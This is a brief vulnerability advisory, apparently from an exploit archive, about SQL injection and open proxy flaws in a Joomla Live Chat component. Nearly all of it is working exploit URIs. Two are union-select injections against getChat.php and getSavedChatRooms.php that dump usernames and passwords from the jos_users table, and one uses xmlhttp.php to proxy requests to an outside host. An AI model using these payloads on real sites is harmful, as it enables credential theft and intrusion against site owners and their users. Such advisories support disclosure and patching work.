Joomla Live Chat Multiple SQL Injection and Open Proxy Vulnerabilities

Joomla Live Chat Multiple SQL Injection and Open Proxy Vulnerabilities

Attackers can use a browser to exploit these issues.

The following example URIs and exploit are available:

http://www.example.comadministrator/components/com_livechat/getChat.php?chat=0&last=1%20union%20select%201,unhex(hex(concat(username,0x3a,password))),3,4%20from%20jos_users

http://www.example.com/administrator/components/com_livechat/getSavedChatRooms.php?chat=0&last=1%20union%20select%201,unhex(hex(concat(username,0x3a,password))),3%20from%20jos_users

http://www.example.com/administrator/components/com_livechat/xmlhttp.php?GET$01$2$3$4$5$http://www.example2.com